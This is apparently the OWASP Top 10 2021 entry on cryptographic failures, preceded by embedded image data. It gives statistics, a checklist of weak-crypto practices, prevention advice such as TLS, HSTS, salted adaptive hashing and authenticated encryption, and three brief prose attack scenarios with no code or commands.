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){: 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## Factors
| CWEs Mapped | Max Incidence Rate | Avg Incidence Rate | Avg Weighted Exploit | Avg Weighted Impact | Max Coverage | Avg Coverage | Total Occurrences | Total CVEs |
|:-------------:|:--------------------:|:--------------------:|:--------------:|:--------------:|:----------------------:|:---------------------:|:-------------------:|:------------:|
| 29 | 46.44% | 4.49% |7.29 | 6.81 | 79.33% | 34.85% | 233,788 | 3,075 |
## Overview
Shifting up one position to #2, previously known as *Sensitive Data
Exposure*, which is more of a broad symptom rather than a root cause,
the focus is on failures related to cryptography (or lack thereof).
Which often lead to exposure of sensitive data. Notable Common Weakness Enumerations (CWEs) included
are *CWE-259: Use of Hard-coded Password*, *CWE-327: Broken or Risky
Crypto Algorithm*, and *CWE-331 Insufficient Entropy*.
## Description
The first thing is to determine the protection needs of data in transit
and at rest. For example, passwords, credit card numbers, health
records, personal information, and business secrets require extra
protection, mainly if that data falls under privacy laws, e.g., EU's
General Data Protection Regulation (GDPR), or regulations, e.g.,
financial data protection such as PCI Data Security Standard (PCI DSS).
For all such data:
- Is any data transmitted in clear text? This concerns protocols such
as HTTP, SMTP, FTP also using TLS upgrades like STARTTLS. External
internet traffic is hazardous. Verify all internal traffic, e.g.,
between load balancers, web servers, or back-end systems.
- Are any old or weak cryptographic algorithms or protocols used either
by default or in older code?
- Are default crypto keys in use, weak crypto keys generated or
re-used, or is proper key management or rotation missing?
Are crypto keys checked into source code repositories?
- Is encryption not enforced, e.g., are any HTTP headers (browser)
security directives or headers missing?
- Is the received server certificate and the trust chain properly validated?
- Are initialization vectors ignored, reused, or not generated
sufficiently secure for the cryptographic mode of operation?
Is an insecure mode of operation such as ECB in use? Is encryption
used when authenticated encryption is more appropriate?
- Are passwords being used as cryptographic keys in absence of a
password base key derivation function?
- Is randomness used for cryptographic purposes that was not designed
to meet cryptographic requirements? Even if the correct function is
chosen, does it need to be seeded by the developer, and if not, has
the developer over-written the strong seeding functionality built into
it with a seed that lacks sufficient entropy/unpredictability?
- Are deprecated hash functions such as MD5 or SHA1 in use, or are
non-cryptographic hash functions used when cryptographic hash functions
are needed?
- Are deprecated cryptographic padding methods such as PKCS number 1 v1.5
in use?
- Are cryptographic error messages or side channel information
exploitable, for example in the form of padding oracle attacks?
See ASVS Crypto (V7), Data Protection (V9), and SSL/TLS (V10)
## How to Prevent
Do the following, at a minimum, and consult the references:
- Classify data processed, stored, or transmitted by an application.
Identify which data is sensitive according to privacy laws,
regulatory requirements, or business needs.
- Don't store sensitive data unnecessarily. Discard it as soon as
possible or use PCI DSS compliant tokenization or even truncation.
Data that is not retained cannot be stolen.
- Make sure to encrypt all sensitive data at rest.
- Ensure up-to-date and strong standard algorithms, protocols, and
keys are in place; use proper key management.
- Encrypt all data in transit with secure protocols such as TLS with
forward secrecy (FS) ciphers, cipher prioritization by the
server, and secure parameters. Enforce encryption using directives
like HTTP Strict Transport Security (HSTS).
- Disable caching for response that contain sensitive data.
- Apply required security controls as per the data classification.
- Do not use legacy protocols such as FTP and SMTP for transporting
sensitive data.
- Store passwords using strong adaptive and salted hashing functions
with a work factor (delay factor), such as Argon2, scrypt, bcrypt or
PBKDF2.
- Initialization vectors must be chosen appropriate for the mode of
operation. For many modes, this means using a CSPRNG (cryptographically
secure pseudo random number generator). For modes that require a
nonce, then the initialization vector (IV) does not need a CSPRNG. In all cases, the IV
should never be used twice for a fixed key.
- Always use authenticated encryption instead of just encryption.
- Keys should be generated cryptographically randomly and stored in
memory as byte arrays. If a password is used, then it must be converted
to a key via an appropriate password base key derivation function.
- Ensure that cryptographic randomness is used where appropriate, and
that it has not been seeded in a predictable way or with low entropy.
Most modern APIs do not require the developer to seed the CSPRNG to
get security.
- Avoid deprecated cryptographic functions and padding schemes, such as
MD5, SHA1, PKCS number 1 v1.5 .
- Verify independently the effectiveness of configuration and
settings.
## Example Attack Scenarios
**Scenario #1**: An application encrypts credit card numbers in a
database using automatic database encryption. However, this data is
automatically decrypted when retrieved, allowing a SQL injection flaw to
retrieve credit card numbers in clear text.
**Scenario #2**: A site doesn't use or enforce TLS for all pages or
supports weak encryption. An attacker monitors network traffic (e.g., at
an insecure wireless network), downgrades connections from HTTPS to
HTTP, intercepts requests, and steals the user's session cookie. The
attacker then replays this cookie and hijacks the user's (authenticated)
session, accessing or modifying the user's private data. Instead of the
above they could alter all transported data, e.g., the recipient of a
money transfer.
**Scenario #3**: The password database uses unsalted or simple hashes to
store everyone's passwords. A file upload flaw allows an attacker to
retrieve the password database. All the unsalted hashes can be exposed
with a rainbow table of pre-calculated hashes. Hashes generated by
simple or fast hash functions may be cracked by GPUs, even if they were
salted.
## References
- [OWASP Proactive Controls: Protect Data Everywhere](https://owasp.org/www-project-proactive-controls/v3/en/c8-protect-data-everywhere)
- [OWASP Application Security Verification Standard (V7, 9, 10)](https://owasp.org/www-project-application-security-verification-standard)
- [OWASP Cheat Sheet: Transport Layer Protection](https://cheatsheetseries.owasp.org/cheatsheets/Transport_Layer_Protection_Cheat_Sheet.html)
- [OWASP Cheat Sheet: User Privacy Protection](https://cheatsheetseries.owasp.org/cheatsheets/User_Privacy_Protection_Cheat_Sheet.html)
